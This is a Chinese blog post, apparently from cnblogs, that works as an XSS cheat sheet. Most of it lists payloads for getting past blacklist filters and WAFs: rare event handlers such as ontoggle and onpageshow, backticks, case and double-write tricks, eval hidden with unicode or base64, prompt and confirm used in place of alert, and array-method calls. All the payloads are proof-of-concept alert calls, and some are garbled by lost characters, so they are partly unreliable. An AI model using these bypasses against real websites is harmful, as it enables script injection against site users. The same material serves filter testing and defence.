• XSS


    XSS_Cheat_Sheet_2020_Edition

    绕过简单的xss防护

    如果双引号被禁用就用单引号。

    针对黑名单过滤,过滤一般不全,
    过滤了img,还有input、div、body、detial、L 等标签

    过滤了onclik,onmouseover,可以尝试冷门的触发事件onmouseenter、onpageshow

    <body onpageshow=alert(/xxxxx/)>

    <details/open/ontoggle="alertdetials">

    ontoggle事件在用户打开或关闭

    元素时触发

    过滤了(),可以尝试反引号, 过滤了引号`‘`和`“`,可以尝试反引号

    大小写绕过
    双写绕过

    1.加上一个xmlns属性绕过

    如果<svg onload="javascriptalert(1)">被拦截了
    可以试试<svg onload="javascriptalert(1)"xmlns="https:www.baidu.com">
    
    <details open ontoggle=top.alert(1)>
    <details open ontoggle=top[‘prompt’](1)>
    <details open ontoggle=top[‘al’%2b’ert’](1)>    注:%2b为url编码的
    

    2.eval函数执行

    
    <details open ontoggle=top.eval(‘ale’%2B’rt(1)’) >
    <details open ontoggle=eval(‘alert(1)’) >
    eval拦截的话,可以试试,把 e Unicode编码
    <details open ontoggle=u0065val(atob(‘YWxlcnQoMSk=’)) >
    

    3.拦截了alert

    当alert不行,可以考虑的有prompt,confirm

    <details open ontoggle=prompt(1)>
    <button onfocus=prompt(1) autofocus>
    <select autofocus onfocus=prompt(1)>
    

    4.反引号

    如果存在alert函数,但是Waf并不拦截。但是当加上()括号,就拦截了。可以不试试反引号。例子:

    <details/open/ontoggle="alert`1`">
    

    5.map绕过

    map返回一个数组,传入一个函数。
    [1].map(alert)依赖map的特性,可以避免alert函数后面带有()括号,以此触发规则。
    其他的例子:

    <details open ontoggle=[1].find(alert)>
    <details open ontoggle=[1].%65very(alert)>
    <details open ontoggle=[1].u0066orEach(alert)>
    
    逆水行舟,不进则退。
  • 相关阅读:
    第五章 数据的共享与保护
    实验6
    实验5
    实验4 类与对象2)
    实验三 类与对象
    实验2
    2018—3-21第二章程序例题(2)
    第二章思维导图
    2018—3-18C++第二章程序例题
    汇编实验九
  • 原文地址:https://www.cnblogs.com/rab3it/p/14390881.html
Copyright © 2020-2023  润新知